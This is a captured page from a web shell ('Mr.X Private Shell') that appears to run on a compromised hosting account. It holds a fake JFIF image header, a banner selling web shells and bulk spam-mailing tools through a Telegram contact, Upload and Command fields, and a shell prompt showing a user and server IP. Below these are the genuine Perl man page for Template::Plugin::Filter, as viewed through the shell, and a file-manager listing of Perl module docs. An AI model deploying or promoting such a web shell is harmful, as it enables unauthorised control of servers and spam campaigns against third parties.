����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

dccreditrepairto@216.73.216.185: ~ $
.\" Automatically generated by Pod::Man 4.14 (Pod::Simple 3.42)
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  \*(C+ will
.\" give a nicer C++.  Capital omega is used to do unbreakable dashes and
.\" therefore won't be available.  \*(C` and \*(C' expand to `' in nroff,
.\" nothing in troff, for use with C<>.
.tr \(*W-
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
.    ds C`
.    ds C'
'br\}
.\"
.\" Escape single quotes in literal strings from groff's Unicode transform.
.ie \n(.g .ds Aq \(aq
.el       .ds Aq '
.\"
.\" If the F register is >0, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.\"
.\" Avoid warning from groff about undefined register 'F'.
.de IX
..
.nr rF 0
.if \n(.g .if rF .nr rF 1
.if (\n(rF:(\n(.g==0)) \{\
.    if \nF \{\
.        de IX
.        tm Index:\\$1\t\\n%\t"\\$2"
..
.        if !\nF==2 \{\
.            nr % 0
.            nr F 2
.        \}
.    \}
.\}
.rr rF
.\" ========================================================================
.\"
.IX Title "Template::Plugin::Filter 3"
.TH Template::Plugin::Filter 3 "2024-06-21" "perl v5.32.1" "User Contributed Perl Documentation"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.if n .ad l
.nh
.SH "NAME"
Template::Plugin::Filter \- Base class for plugin filters
.SH "SYNOPSIS"
.IX Header "SYNOPSIS"
.Vb 1
\&    package MyOrg::Template::Plugin::MyFilter;
\&
\&    use Template::Plugin::Filter;
\&    use base qw( Template::Plugin::Filter );
\&
\&    sub filter {
\&        my ($self, $text) = @_;
\&
\&        # ...mungify $text...
\&
\&        return $text;
\&    }
\&
\&    # now load it...
\&    [% USE MyFilter %]
\&
\&    # ...and use the returned object as a filter
\&    [% FILTER $MyFilter %]
\&      ...
\&    [% END %]
.Ve
.SH "DESCRIPTION"
.IX Header "DESCRIPTION"
This module implements a base class for plugin filters.  It hides
the underlying complexity involved in creating and using filters
that get defined and made available by loading a plugin.
.PP
To use the module, simply create your own plugin module that is
inherited from the \f(CW\*(C`Template::Plugin::Filter\*(C'\fR class.
.PP
.Vb 1
\&    package MyOrg::Template::Plugin::MyFilter;
\&
\&    use Template::Plugin::Filter;
\&    use base qw( Template::Plugin::Filter );
.Ve
.PP
Then simply define your \f(CW\*(C`filter()\*(C'\fR method.  When called, you get
passed a reference to your plugin object (\f(CW$self\fR) and the text
to be filtered.
.PP
.Vb 2
\&    sub filter {
\&        my ($self, $text) = @_;
\&
\&        # ...mungify $text...
\&
\&        return $text;
\&    }
.Ve
.PP
To use your custom plugin, you have to make sure that the Template
Toolkit knows about your plugin namespace.
.PP
.Vb 3
\&    my $tt2 = Template\->new({
\&        PLUGIN_BASE => \*(AqMyOrg::Template::Plugin\*(Aq,
\&    });
.Ve
.PP
Or for individual plugins you can do it like this:
.PP
.Vb 5
\&    my $tt2 = Template\->new({
\&        PLUGINS => {
\&            MyFilter => \*(AqMyOrg::Template::Plugin::MyFilter\*(Aq,
\&        },
\&    });
.Ve
.PP
Then you \f(CW\*(C`USE\*(C'\fR your plugin in the normal way.
.PP
.Vb 1
\&    [% USE MyFilter %]
.Ve
.PP
The object returned is stored in the variable of the same name,
\&'\f(CW\*(C`MyFilter\*(C'\fR'.  When you come to use it as a \f(CW\*(C`FILTER\*(C'\fR, you should add
a dollar prefix.  This indicates that you want to use the filter
stored in the variable '\f(CW\*(C`MyFilter\*(C'\fR' rather than the filter named
\&'\f(CW\*(C`MyFilter\*(C'\fR', which is an entirely different thing (see later for
information on defining filters by name).
.PP
.Vb 3
\&    [% FILTER $MyFilter %]
\&       ...text to be filtered...
\&    [% END %]
.Ve
.PP
You can, of course, assign it to a different variable.
.PP
.Vb 1
\&    [% USE blat = MyFilter %]
\&
\&    [% FILTER $blat %]
\&       ...text to be filtered...
\&    [% END %]
.Ve
.PP
Any configuration parameters passed to the plugin constructor from the
\&\f(CW\*(C`USE\*(C'\fR directive are stored internally in the object for inspection by
the \f(CW\*(C`filter()\*(C'\fR method (or indeed any other method).  Positional
arguments are stored as a reference to a list in the \f(CW\*(C`_ARGS\*(C'\fR item while
named configuration parameters are stored as a reference to a hash
array in the \f(CW\*(C`_CONFIG\*(C'\fR item.
.PP
For example, loading a plugin as shown here:
.PP
.Vb 1
\&    [% USE blat = MyFilter \*(Aqfoo\*(Aq \*(Aqbar\*(Aq baz = \*(Aqblam\*(Aq %]
.Ve
.PP
would allow the \f(CW\*(C`filter()\*(C'\fR method to do something like this:
.PP
.Vb 2
\&    sub filter {
\&        my ($self, $text) = @_;
\&
\&        my $args = $self\->{ _ARGS   };  # [ \*(Aqfoo\*(Aq, \*(Aqbar\*(Aq ]
\&        my $conf = $self\->{ _CONFIG };  # { baz => \*(Aqblam\*(Aq }
\&
\&        # ...munge $text...
\&
\&        return $text;
\&    }
.Ve
.PP
By default, plugins derived from this module will create static
filters.  A static filter is created once when the plugin gets
loaded via the \f(CW\*(C`USE\*(C'\fR directive and re-used for all subsequent
\&\f(CW\*(C`FILTER\*(C'\fR operations.  That means that any argument specified with
the \f(CW\*(C`FILTER\*(C'\fR directive are ignored.
.PP
Dynamic filters, on the other hand, are re-created each time
they are used by a \f(CW\*(C`FILTER\*(C'\fR directive.  This allows them to act
on any parameters passed from the \f(CW\*(C`FILTER\*(C'\fR directive and modify
their behaviour accordingly.
.PP
There are two ways to create a dynamic filter.  The first is to
define a \f(CW$DYNAMIC\fR class variable set to a true value.
.PP
.Vb 3
\&    package MyOrg::Template::Plugin::MyFilter;
\&    use base \*(AqTemplate::Plugin::Filter\*(Aq;
\&    our $DYNAMIC = 1;
.Ve
.PP
The other way is to set the internal \f(CW\*(C`_DYNAMIC\*(C'\fR value within the \f(CW\*(C`init()\*(C'\fR
method which gets called by the \f(CW\*(C`new()\*(C'\fR constructor.
.PP
.Vb 5
\&    sub init {
\&        my $self = shift;
\&        $self\->{ _DYNAMIC } = 1;
\&        return $self;
\&    }
.Ve
.PP
When this is set to a true value, the plugin will automatically
create a dynamic filter.  The outcome is that the \f(CW\*(C`filter()\*(C'\fR method
will now also get passed a reference to an array of positional
arguments and a reference to a hash array of named parameters.
.PP
So, using a plugin filter like this:
.PP
.Vb 1
\&    [% FILTER $blat \*(Aqfoo\*(Aq \*(Aqbar\*(Aq baz = \*(Aqblam\*(Aq %]
.Ve
.PP
would allow the \f(CW\*(C`filter()\*(C'\fR method to work like this:
.PP
.Vb 2
\&    sub filter {
\&        my ($self, $text, $args, $conf) = @_;
\&
\&        # $args = [ \*(Aqfoo\*(Aq, \*(Aqbar\*(Aq ]
\&        # $conf = { baz => \*(Aqblam\*(Aq }
\&    }
.Ve
.PP
In this case can pass parameters to both the \s-1USE\s0 and \s-1FILTER\s0 directives,
so your \fBfilter()\fR method should probably take that into account.
.PP
.Vb 1
\&    [% USE MyFilter \*(Aqfoo\*(Aq wiz => \*(Aqwaz\*(Aq %]
\&
\&    [% FILTER $MyFilter \*(Aqbar\*(Aq biz => \*(Aqbaz\*(Aq %]
\&       ...
\&    [% END %]
.Ve
.PP
You can use the \f(CW\*(C`merge_args()\*(C'\fR and \f(CW\*(C`merge_config()\*(C'\fR methods to do a quick
and easy job of merging the local (e.g. \f(CW\*(C`FILTER\*(C'\fR) parameters with the
internal (e.g. \f(CW\*(C`USE\*(C'\fR) values and returning new sets of conglomerated
data.
.PP
.Vb 2
\&    sub filter {
\&        my ($self, $text, $args, $conf) = @_;
\&
\&        $args = $self\->merge_args($args);
\&        $conf = $self\->merge_config($conf);
\&
\&        # $args = [ \*(Aqfoo\*(Aq, \*(Aqbar\*(Aq ]
\&        # $conf = { wiz => \*(Aqwaz\*(Aq, biz => \*(Aqbaz\*(Aq }
\&        ...
\&    }
.Ve
.PP
You can also have your plugin install itself as a named filter by
calling the \f(CW\*(C`install_filter()\*(C'\fR method from the \f(CW\*(C`init()\*(C'\fR method.  You
should provide a name for the filter, something that you might
like to make a configuration option.
.PP
.Vb 6
\&    sub init {
\&        my $self = shift;
\&        my $name = $self\->{ _CONFIG }\->{ name } || \*(Aqmyfilter\*(Aq;
\&        $self\->install_filter($name);
\&        return $self;
\&    }
.Ve
.PP
This allows the plugin filter to be used as follows:
.PP
.Vb 1
\&    [% USE MyFilter %]
\&
\&    [% FILTER myfilter %]
\&       ...
\&    [% END %]
.Ve
.PP
or
.PP
.Vb 1
\&    [% USE MyFilter name = \*(Aqswipe\*(Aq %]
\&
\&    [% FILTER swipe %]
\&       ...
\&    [% END %]
.Ve
.PP
Alternately, you can allow a filter name to be specified as the
first positional argument.
.PP
.Vb 6
\&    sub init {
\&        my $self = shift;
\&        my $name = $self\->{ _ARGS }\->[0] || \*(Aqmyfilter\*(Aq;
\&        $self\->install_filter($name);
\&        return $self;
\&    }
\&
\&    [% USE MyFilter \*(Aqswipe\*(Aq %]
\&
\&    [% FILTER swipe %]
\&       ...
\&    [% END %]
.Ve
.SH "EXAMPLE"
.IX Header "EXAMPLE"
Here's a complete example of a plugin filter module.
.PP
.Vb 3
\&    package My::Template::Plugin::Change;
\&    use Template::Plugin::Filter;
\&    use base qw( Template::Plugin::Filter );
\&
\&    sub init {
\&        my $self = shift;
\&
\&        $self\->{ _DYNAMIC } = 1;
\&
\&        # first arg can specify filter name
\&        $self\->install_filter($self\->{ _ARGS }\->[0] || \*(Aqchange\*(Aq);
\&
\&        return $self;
\&    }
\&
\&    sub filter {
\&        my ($self, $text, $args, $config) = @_;
\&
\&        $config = $self\->merge_config($config);
\&        my $regex = join(\*(Aq|\*(Aq, keys %$config);
\&
\&        $text =~ s/($regex)/$config\->{ $1 }/ge;
\&
\&        return $text;
\&    }
\&
\&    1;
.Ve
.SH "AUTHOR"
.IX Header "AUTHOR"
Andy Wardley <abw@wardley.org> <http://wardley.org/>
.SH "COPYRIGHT"
.IX Header "COPYRIGHT"
Copyright (C) 1996\-2022 Andy Wardley.  All Rights Reserved.
.PP
This module is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.
.SH "SEE ALSO"
.IX Header "SEE ALSO"
Template::Plugin, Template::Filters, Template::Manual::Filters

Filemanager

Name Type Size Permission Actions
App::Cpan.3pm File 12.69 KB 0444
App::cpanminus.3pm File 12.51 KB 0444
App::cpanminus::fatscript.3pm File 24.51 KB 0444
AppConfig.3pm File 32.7 KB 0444
AppConfig::Args.3pm File 6.04 KB 0444
AppConfig::CGI.3pm File 4.69 KB 0444
AppConfig::File.3pm File 10.55 KB 0444
AppConfig::Getopt.3pm File 5.5 KB 0444
AppConfig::State.3pm File 22.58 KB 0444
AppConfig::Sys.3pm File 4.77 KB 0444
CPAN.3pm File 114.07 KB 0444
CPAN::API::HOWTO.3pm File 3.5 KB 0444
CPAN::Admin.3pm File 4.29 KB 0444
CPAN::Debug.3pm File 2.35 KB 0444
CPAN::Distroprefs.3pm File 5.95 KB 0444
CPAN::FirstTime.3pm File 27.26 KB 0444
CPAN::HandleConfig.3pm File 3.24 KB 0444
CPAN::Kwalify.3pm File 3.46 KB 0444
CPAN::Meta::Requirements.3pm File 12.4 KB 0444
CPAN::Meta::Requirements::Range.3pm File 7.04 KB 0444
CPAN::Mirrors.3pm File 8.7 KB 0444
CPAN::Nox.3pm File 2.78 KB 0444
CPAN::Plugin.3pm File 3.48 KB 0444
CPAN::Plugin::Specfile.3pm File 3.68 KB 0444
CPAN::Queue.3pm File 2.35 KB 0444
CPAN::Tarzip.3pm File 2.36 KB 0444
CPAN::Version.3pm File 3.23 KB 0444
Canary::Stability.3pm File 4.07 KB 0444
Capture::Tiny.3pm File 17.38 KB 0444
DBD::mysql.3pm File 47.3 KB 0444
DBD::mysql::INSTALL.3pm File 28.12 KB 0444
Data::Validate::IP.3pm File 14.23 KB 0444
Devel::CheckLib.3pm File 9.68 KB 0444
Digest::MD5.3pm File 14.44 KB 0444
Expect.3pm File 59.32 KB 0444
Exporter.3pm File 21.49 KB 0444
Exporter::Heavy.3pm File 2.33 KB 0444
File::Copy::Recursive.3pm File 16.87 KB 0444
HTML::TagParser.3pm File 12.25 KB 0444
HTTP::CookieJar.3pm File 9.83 KB 0444
HTTP::CookieJar::LWP.3pm File 3.06 KB 0444
HTTP::Date.3pm File 7.67 KB 0444
HTTP::Tiny.3pm File 27.64 KB 0444
IO::Pty.3pm File 8.37 KB 0444
IO::Tty.3pm File 8.15 KB 0444
IO::Tty::Constant.3pm File 9.48 KB 0444
JSON.3pm File 62.68 KB 0444
JSON::Syck.3pm File 7.9 KB 0444
JSON::XS.3pm File 86.93 KB 0444
JSON::XS::Boolean.3pm File 2.79 KB 0444
JSON::backportPP.3pm File 64.1 KB 0444
JSON::backportPP::Boolean.3pm File 2.76 KB 0444
JSON::backportPP::Compat5005.3pm File 2.63 KB 0444
JSON::backportPP::Compat5006.3pm File 2.63 KB 0444
MIME::Base32.3pm File 6.35 KB 0444
Mail::RFC822::Address.3pm File 5.34 KB 0444
Mock::Config.3pm File 5.97 KB 0444
NetAddr::IP.3pm File 36.39 KB 0444
NetAddr::IP::InetBase.3pm File 12.89 KB 0444
NetAddr::IP::Lite.3pm File 25.14 KB 0444
NetAddr::IP::Util.3pm File 21.72 KB 0444
NetAddr::IP::UtilPP.3pm File 9.27 KB 0444
POD2::DE::local::lib.3pm File 22.26 KB 0444
POD2::PT_BR::local::lib.3pm File 22.15 KB 0444
Path::Tiny.3pm File 54.9 KB 0444
Storable.3pm File 43.64 KB 0444
Sub::Uplevel.3pm File 7.94 KB 0444
Template.3pm File 26.36 KB 0444
Template::App::ttree.3pm File 3.01 KB 0444
Template::Base.3pm File 6.13 KB 0444
Template::Config.3pm File 6.72 KB 0444
Template::Constants.3pm File 5.86 KB 0444
Template::Context.3pm File 24.13 KB 0444
Template::Directive.3pm File 2.94 KB 0444
Template::Document.3pm File 9.89 KB 0444
Template::Exception.3pm File 4.83 KB 0444
Template::FAQ.3pm File 12.48 KB 0444
Template::Filters.3pm File 7.8 KB 0444
Template::Grammar.3pm File 3.16 KB 0444
Template::Iterator.3pm File 9.46 KB 0444
Template::Manual.3pm File 4.4 KB 0444
Template::Manual::Config.3pm File 76.05 KB 0444
Template::Manual::Credits.3pm File 6.84 KB 0444
Template::Manual::Directives.3pm File 73.43 KB 0444
Template::Manual::Filters.3pm File 18.57 KB 0444
Template::Manual::Internals.3pm File 21.04 KB 0444
Template::Manual::Intro.3pm File 11.93 KB 0444
Template::Manual::Plugins.3pm File 11.63 KB 0444
Template::Manual::Syntax.3pm File 12.44 KB 0444
Template::Manual::VMethods.3pm File 26.74 KB 0444
Template::Manual::Variables.3pm File 30.71 KB 0444
Template::Manual::Views.3pm File 23.41 KB 0444
Template::Modules.3pm File 7.83 KB 0444
Template::Namespace::Constants.3pm File 4.09 KB 0444
Template::Parser.3pm File 7.92 KB 0444
Template::Plugin.3pm File 8.83 KB 0444
Template::Plugin::Assert.3pm File 3.55 KB 0444
Template::Plugin::Datafile.3pm File 4.86 KB 0444
Template::Plugin::Date.3pm File 7.88 KB 0444
Template::Plugin::Directory.3pm File 9.88 KB 0444
Template::Plugin::Dumper.3pm File 4.17 KB 0444
Template::Plugin::File.3pm File 10.9 KB 0444
Template::Plugin::Filter.3pm File 10.66 KB 0444
Template::Plugin::Format.3pm File 3.01 KB 0444
Template::Plugin::HTML.3pm File 5.86 KB 0444
Template::Plugin::Image.3pm File 9.9 KB 0444
Template::Plugin::Iterator.3pm File 3.17 KB 0444
Template::Plugin::Math.3pm File 4.7 KB 0444
Template::Plugin::Pod.3pm File 2.9 KB 0444
Template::Plugin::Procedural.3pm File 3.73 KB 0444
Template::Plugin::Scalar.3pm File 3.14 KB 0444
Template::Plugin::String.3pm File 15.07 KB 0444
Template::Plugin::Table.3pm File 9.08 KB 0444
Template::Plugin::URL.3pm File 6.12 KB 0444
Template::Plugin::View.3pm File 3.56 KB 0444
Template::Plugin::Wrap.3pm File 4.5 KB 0444
Template::Plugins.3pm File 7.72 KB 0444
Template::Provider.3pm File 12.55 KB 0444
Template::Service.3pm File 12.64 KB 0444
Template::Stash.3pm File 9.85 KB 0444
Template::Stash::Context.3pm File 5.18 KB 0444
Template::Stash::XS.3pm File 4.72 KB 0444
Template::Test.3pm File 13.27 KB 0444
Template::Toolkit.3pm File 7.24 KB 0444
Template::Toolkit::Simple.3pm File 11.6 KB 0444
Template::Tools.3pm File 3.12 KB 0444
Template::Tools::tpage.3pm File 3.9 KB 0444
Template::Tools::ttree.3pm File 14.41 KB 0444
Template::Tutorial.3pm File 2.69 KB 0444
Template::Tutorial::Datafile.3pm File 17.32 KB 0444
Template::Tutorial::Web.3pm File 31.51 KB 0444
Template::VMethods.3pm File 2.81 KB 0444
Template::View.3pm File 10.54 KB 0444
Test::Deep.3pm File 47.26 KB 0444
Test::Deep::All.3pm File 3.03 KB 0444
Test::Deep::Any.3pm File 3.03 KB 0444
Test::Deep::Array.3pm File 3.04 KB 0444
Test::Deep::ArrayEach.3pm File 3.05 KB 0444
Test::Deep::ArrayElementsOnly.3pm File 3.07 KB 0444
Test::Deep::ArrayLength.3pm File 3.06 KB 0444
Test::Deep::ArrayLengthOnly.3pm File 3.07 KB 0444
Test::Deep::Blessed.3pm File 3.04 KB 0444
Test::Deep::Boolean.3pm File 3.04 KB 0444
Test::Deep::Cache.3pm File 3.04 KB 0444
Test::Deep::Cache::Simple.3pm File 3.06 KB 0444
Test::Deep::Class.3pm File 3.04 KB 0444
Test::Deep::Cmp.3pm File 3.03 KB 0444
Test::Deep::Code.3pm File 3.04 KB 0444
Test::Deep::Hash.3pm File 3.04 KB 0444
Test::Deep::HashEach.3pm File 3.05 KB 0444
Test::Deep::HashElements.3pm File 3.06 KB 0444
Test::Deep::HashKeys.3pm File 3.05 KB 0444
Test::Deep::HashKeysOnly.3pm File 3.06 KB 0444
Test::Deep::Ignore.3pm File 3.04 KB 0444
Test::Deep::Isa.3pm File 3.03 KB 0444
Test::Deep::ListMethods.3pm File 3.06 KB 0444
Test::Deep::MM.3pm File 3.03 KB 0444
Test::Deep::Methods.3pm File 3.04 KB 0444
Test::Deep::NoTest.3pm File 3.41 KB 0444
Test::Deep::None.3pm File 3.04 KB 0444
Test::Deep::Number.3pm File 3.04 KB 0444
Test::Deep::Obj.3pm File 3.03 KB 0444
Test::Deep::Ref.3pm File 3.03 KB 0444
Test::Deep::RefType.3pm File 3.04 KB 0444
Test::Deep::Regexp.3pm File 3.04 KB 0444
Test::Deep::RegexpMatches.3pm File 3.06 KB 0444
Test::Deep::RegexpOnly.3pm File 3.05 KB 0444
Test::Deep::RegexpRef.3pm File 3.05 KB 0444
Test::Deep::RegexpRefOnly.3pm File 3.06 KB 0444
Test::Deep::RegexpVersion.3pm File 3.06 KB 0444
Test::Deep::ScalarRef.3pm File 3.05 KB 0444
Test::Deep::ScalarRefOnly.3pm File 3.06 KB 0444
Test::Deep::Set.3pm File 3.03 KB 0444
Test::Deep::Shallow.3pm File 3.04 KB 0444
Test::Deep::Stack.3pm File 3.04 KB 0444
Test::Deep::String.3pm File 3.04 KB 0444
Test::Exception.3pm File 14.2 KB 0444
Test::Fatal.3pm File 9.42 KB 0444
Test::File.3pm File 22.28 KB 0444
Test::LeakTrace.3pm File 8.02 KB 0444
Test::LeakTrace::JA.3pm File 14.39 KB 0444
Test::LeakTrace::Script.3pm File 3.25 KB 0444
Test::Needs.3pm File 5.51 KB 0444
Test::Pod.3pm File 7.41 KB 0444
Test::Requires.3pm File 4.17 KB 0444
Test::Warnings.3pm File 15.49 KB 0444
Try::Tiny.3pm File 20.31 KB 0444
Types::Serialiser.3pm File 11.7 KB 0444
Types::Serialiser::Error.3pm File 2.64 KB 0444
URI.3pm File 44.54 KB 0444
URI::Escape.3pm File 8.01 KB 0444
URI::Heuristic.3pm File 5.08 KB 0444
URI::QueryParam.3pm File 2.62 KB 0444
URI::Split.3pm File 3.96 KB 0444
URI::URL.3pm File 4.42 KB 0444
URI::WithBase.3pm File 4.15 KB 0444
URI::_punycode.3pm File 4.63 KB 0444
URI::data.3pm File 4.21 KB 0444
URI::file.3pm File 10.3 KB 0444
URI::geo.3pm File 8.67 KB 0444
URI::icap.3pm File 3.79 KB 0444
URI::icaps.3pm File 3.76 KB 0444
URI::ldap.3pm File 5.6 KB 0444
URI::otpauth.3pm File 7.3 KB 0444
YAML::LibYAML.3pm File 2.76 KB 0444
YAML::Syck.3pm File 10.57 KB 0444
YAML::XS.3pm File 8.25 KB 0444
YAML::XS::LibYAML.3pm File 2.22 KB 0444
cPanel::PublicAPI.3pm File 23.43 KB 0444
cPanel::PublicAPI::Utils.3pm File 4.31 KB 0444
cPanel::PublicAPI::WHM.3pm File 8.16 KB 0444
cPanel::PublicAPI::WHM::API.3pm File 19.58 KB 0444
cPanel::PublicAPI::WHM::CachedVersion.3pm File 4.86 KB 0444
cPanel::PublicAPI::WHM::DNS.3pm File 10.01 KB 0444
cPanel::PublicAPI::WHM::JSONAPI.3pm File 20.67 KB 0444
cPanel::PublicAPI::WHM::Legacy.3pm File 4.11 KB 0444
cPanel::PublicAPI::WHM::XMLAPI.3pm File 20.4 KB 0444
common::sense.3pm File 0 B 0444
lib::core::only.3pm File 5.51 KB 0444
local::lib.3pm File 31.02 KB 0444
version.3pm File 14.6 KB 0444
version::Internals.3pm File 27.82 KB 0444